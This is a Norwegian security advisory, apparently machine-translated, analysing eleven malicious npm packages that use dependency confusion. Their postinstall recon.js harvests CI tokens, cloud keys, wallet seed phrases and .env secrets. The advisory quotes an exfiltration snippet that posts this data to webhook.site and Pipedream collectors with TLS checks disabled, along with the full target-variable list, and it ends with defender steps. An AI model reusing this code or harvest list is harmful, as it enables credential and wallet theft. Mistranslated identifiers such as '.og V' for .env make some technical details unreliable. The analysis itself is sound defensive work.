CryptoDAO-forvirring: Høsting av npm-pakker CI/CD og kryptohemmeligheter

CryptoDAO-forvirring: elleve npm-pakker, én nyttelast, høsting CI/CD og kryptolommebokhemmeligheter

TL; DR

Den 17. juni 2026 ble en enkelt npm-konto publisert elleve pakker som deler ett formål og én nyttelastTi av dem bærer cryptodao- prefiks (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); den ellevte er den omfangsbestemte @public-for-cdao/coreAlle ble publisert i versjon 99.99.99 og sender en byte-identisk recon.js som kjører på postinstall.

Navnene forteller oss alt. De leses som de interne byggesteinene i et krypto-/DAO-prosjekts private verktøykjede. Publisert i det offentlige npm-registeret med en kunstig høy versjon, sitter de og venter på en build. pipeline som er konfigurert til å løse disse navnene og som når offentlige npm før – eller i stedet for – det private registeret. Dette er avhengighetsforvirring, og nyttelasten er innstilt for nøyaktig hvor den forventer å lande: CI/CD løpere.

Når postinstall branner, recon.js samler inn vertsdetaljer, feier grovt førti sky-, CI- og kryptolommebokmiljøvariabler, leser hvilken som helst .env filer den kan finne og videresender linjene med hemmeligheten ordrett, og overfører deretter pakken til to samlere – webhook.site og et Pipedream-endepunkt – med TLS-sertifikatverifisering deaktivert. En kopi skrives også under /tmp.

alvorlighetsgrad: høyBerørt økosystem: NPMAlle elleve pakkene var tilgjengelige i skrivende stund.

Angrepsanatomi

Mekanismen har fire bevegelige deler, og ingen av dem er subtile når du først vet hvordan man gjør det. se ett lag forbi pakkenavnet.

1. Versjonsinflasjon som et lokkemiddel for resolvere. Hver pakke deklarerer versjon 99.99.99Avhengighetsforvirring oppstår når en pakkebehandler ber om en internt navn, sjekker også det offentlige registeret og velger den høyeste versjonen funn. npms standardvalg for et cirkumfleks- eller jokertegnområde er den mest tilfredsstillende versjonen på tvers av alle konfigurerte kilder; hvis begge er private register- og offentlig npm-svar for samme navn, vinner det større versjonsnummeret. A 99.99.99 overgår i hovedsak enhver reell intern versjon et prosjekt vil ha nådd, så en resolver som ikke er festet til den private kilden foretrekker offentlig – og i dette tilfellet fiendtlig – kopi. Operatøren trenger ikke å vite målets virkelige versjonsnumre; å velge et absurd maksimum garanterer uavgjort alltid bryter veien for dem.

2. En etterinstallasjonsutløser. pakke.json kobler nyttelasten til installasjonen Livssyklus:

{   "scripts": { "postinstall": "node recon.js" } }

Ingen import av pakken er nødvendig. Bare installering – som er et CI pipeline gjør automatisk — kjører recon.js.

3. En bred hemmelig avsløring. recon.js setter sammen en resultatmatrise i trinn:

  • Vertskontekst: vertsnavn, plattform og utgivelse, arkitektur, brukernavn, fungerende katalogen.
  • Miljøvariabler: den itererer en fast liste med omtrent førti navn og poster alle som er satt. Listen er avslørende – den kobler generiske CI-tokener (CI_JOB_TOKEN, CI_REGISTRY_PASSORD, GITLAB_ACCESS_TOKEN) og sky legitimasjon (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) med register- og containerhemmeligheter (NPM_TOKEN, DOCKER_PASSORD, HAVNE_PASSORD) og en tydelig krypto-smaksatt klynge:  PRIVAT_NØKKEL, MNEMONISK, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCRegistrerte verdier avkortes til de første 50 tegnene.
  • .og V filer: den undersøker en liste over stier — .og V, ../.konvolutt, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, og .produksjon/.utvikling varianter – og for enhver fil som finnes, er det filtrerer innholdet til samsvarende linjer NØKKEL|HEMMELIG|BRUKSORD|PASSORD|PRIVAT|MNEMONISK og skyver disse linjene **i sin helhet, uavkortet** inn i resultatene.
  • Bygg-vert-kontekst: den viser de første 20 oppføringene i /bygger/, /hjem/gitlab-runner/bygg/, /var/lib/gitlab-runner/og / tmp /.

Stilisten og variabellisten er vektet mot GitLab-løpere, noe som peker nyttelasten rett på selvhostet CI-infrastruktur i stedet for en utvikler bærbar PC. Ved å gruppere slaktelisten etter kategori blir det planlagte slaktet tydelig:

Kategori Variabler/stier nådd
CI/CD identitet og utrulling CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Register og container NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Datalagre DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Krypto / blokkjede PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Meldinger SLACK_TOKEN, DISCORD_TOKEN
På disk .env familie + /home/gitlab-runner/.env, /root/.env, /app/**/.envkatalogoppføringer av /builds/, /var/lib/gitlab-runner/

Kryptoklyngen er den delen som skiller dette fra en generisk CI-hemmelighet sweep: lommebok-frøfraser og signeringsnøkler vises bare i miljøet til en blokkjedeprosjektet, og de kartlegges direkte på kryptodao-/sign/kontrakter navngiving av transportørene.

4. Dobbel eksfiltrering med verifisering deaktivert. Den innsamlede matrisen er serialisert og POSTET til to destinasjoner:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

avvisUautorisert: usann slår av TLS-sertifikatkontroller for utgående anrop. De samme dataene skrives ut til stdout (slik at de også havner i CI-jobbloggene) og skrevet til /tmp/.npm_recon_ .jsonFeil svelges stille, så en mislykket sending etterlater ingen spor i installasjonsutdataene utover en enkelt [rekognosering] installert på linje.

En ledende kommentar i filen beskriver det som en «avhengighetsforvirring». Rekognoseringsnyttelast.» Avkortingen av miljøverdier til 50 tegn har formen på et konseptbevis. Det som beveger det forbi et kun-tilstedeværelsessignal er .og V håndtering: hemmelige linjer videresendes i sin helhet, og destinasjonene er to fungerende, angriperkontrollerte samlere i stedet for en vask som bare teller treff.

Tidslinje

Publiseringsmønsteret er signaturen til et enkelt skriptet push, ikke elleve uavhengige opplastinger.

Tid (UTC, 2026-06-17) Event
03:24:58 cryptodao-bot@99.99.99 publisert
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — omfangsvariant, ~24 min senere

Ti pakker ble sendt innenfor et vindu på 29 sekunder, omtrent én hvert tredje sekund. Det avgrensede @offentlig-for-cdao/kjerne fulgte omtrent 24 minutter etter – et sekund navnekonvensjon for samme mål, i tilfelle det forbrukende prosjektet refererer til intern verktøykjede under et omfang i stedet for som bare navn.

Indikatorer for kompromiss

typen Indikator
Collector hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Collector hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Installer krok postinstall: node recon.js
Filen er slettet /tmp/.npm_recon_<timestamp>.json
Loggmarkør [recon] <pkg>@<ver> installed on <hostname> (stdout i CI-logger)
Behavioral rejectUnauthorized: false på utgående HTTPS under installasjon
nyttelast recon.js, identisk på tvers av alle elleve pakker (én delt versjon)
Versjon 99.99.99 på hver pakke
Nettsidepakker cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (alle 99.99.99)
Publisher aduljune / aduljune@proton.me (e-post ubekreftet, ingen lenket kildelager)

 Attribusjon og observert atferd

Alt ved klyngen peker mot én hånd. Alle elleve pakkene ble publisert av npm-kontoen aduljune (aduljune@proton.me, en ubekreftet adresse uten lenket kildelager), innenfor et tidsrom på 25 minutter, samtidig 99.99.99 versjon, frakt av en recon.js hvis innhold er identisk byte-for-byte på tvers av alle pakke (MD5-treff på tvers av alle elleve utpakkede kopier). Det er én nyttelast stemplet på en navneliste, ikke uavhengig gjenbruk av kode.

Navnelisten definerer det tiltenkte målet. kryptodao-* og cdao beskriv privat moduloppsett for et krypto-/DAO-prosjekt, og nyttelastens innhøstingsliste speil som gjetter: ved siden av de generiske CI-ene og skyhemmelighetene, er det spesifikt strekker seg etter PRIVAT_NØKKEL, MNEMONISK, SEED_PHRASE, og Ethereum/BSC RPC og leverandørnøkler. De .og V søkestier og katalogoppføringer er GitLab-runner spesifikk. Den observerbare effekten er at enhver pipeline lurt til å installere disse navnene ville videresende CI-tokenene, skynøklene og disken .og V hemmeligheter – og for et blokkjedeprosjekt, lommebokmaterialet – til to tredjeparts samlere.

Vi hevder ikke hvem som driver kontoen eller hva de planla å gjøre med den. data. Fakta som står på egne ben: navnene retter seg mot en spesifikk type intern verktøykjede, nyttelasten leser og overfører ekte hemmelige verdier, og infrastrukturen var live.

Innvirkning, trender og veiledning fra forsvarere

Avhengighetsforvirring forblir effektiv fordi den utnytter resolver-atferd, ikke en sårbarhet i enhver pakke. Bæreren her er triviell – elleve nesten tomme pakker – men eksplosjonsradiusen er uansett pipeline foretrekker feilaktig offentlig npm for et internt navn. CI-løpere er det verste stedet for at det skal skje: de holder nøyaktig tokens og .og V filer denne nyttelasten leser, og de installerer avhengigheter ikke-interaktive, så en etterinstallasjon løper uten at noen ser på.

Denne klyngen passer også inn i et mønster vi stadig ser: nyttelaster under installasjon som presenterer som «forskning» eller «rekognosering» mens man foretar reell innsamling av legitimasjon. Etiketten i filen endrer ikke hva koden gjør på en løper. To designvalg beholder aktiviteten stille: hver nettverks- og filsystemoperasjon er pakket inn i en unntaksbehandler som forkaster feil, så en blokkert sending eller en manglende fil produserer ingen diagnostisk utdata, og det eneste som skrives ut er et enkelt uskyldig [rekonstruering] … installert linje som blander seg inn i vanlig installasjonsprat. Bruken av webhook.site og Pipedream er også bevisst bekvemmelighet – begge er gratis, umiddelbart klargjorte forespørselsfangsttjenester, slik at operatøren ikke trenger noen servere med sine egne, og destinasjonene ser ut som vanlige SaaS-vertsnavn i utgangslogger.

Det er økonomien som gjør dette verdt en forsvarers oppmerksomhet, selv om Transportørkode er trivielt. Det koster ingenting å registrere elleve navn, nyttelasten er én filen kopieres elleve ganger, og pakkebehandleren gjør all kjøringen. En enkelt feilkonfigurert pipeline hvor som helst som bruker et av disse navnene betaler for hele operasjon.

Konkrete skritt for forsvarere:

  • Fest interne omfang til ditt private register. Konfigurer npm slik at interne navn
     og omfang løses bare mot registeret ditt (registertilordninger med omfang .npmrc,
    eller en proxy som aldri går gjennom til offentlig npm for eide navnerom). Reserver dine offentlige omfangsnavn slik at ingen andre kan registrere dem.
  • Commit låsefiler og installere med –ignore-scripts i CI der det er mulig, eller granske det lille settet med avhengigheter som virkelig trenger installasjonsskript.  recon.js kan ikke kjøres hvis etterinstallasjon er ikke utført.
  • Behandle en 99.99.99 (eller annen absurd høy) versjon av et internt utseende navn som et rødt flagg i avhengighetsgjennomgang og registerovervåking.
  • Varsel ved utgående prosess under installasjon. A etterinstallasjon som åpner en utgående HTTPS tilkobling – spesielt med sertifikatverifisering deaktivert – til webhook.site, Pipedream eller lignende forespørselsfangsttjenester er verdt å blokkere ved nettverkskanten og flagge i byggelogger.
  • Jakt på gjenstandene. Sjekk løpere for /tmp/.npm_recon_*.json og for [rekonstruering] … installert på … markør i nylige CI-logger. Hvis funnet, roter hver legitimasjon eksponert for det pipeline — CI-tokener, skynøkler, registertokener og eventuelle lommebokfrø eller private nøkler som finnes i miljøet eller .env-filer.

Referanser

Det fantes ingen ekstern rapportering om denne klyngen på tidspunktet for skriving; analysen ovennevnte er basert direkte på det publiserte pakkeinnholdet

sca-tools-programvare-verktøy for komposisjonsanalyse
Prioriter, utbedre og sikre programvarerisikoene dine
Få din gratis konto.
Ingen kredittkort kreves.

Sikre programvareutviklingen og -leveringen din

med Xygeni-produktpakken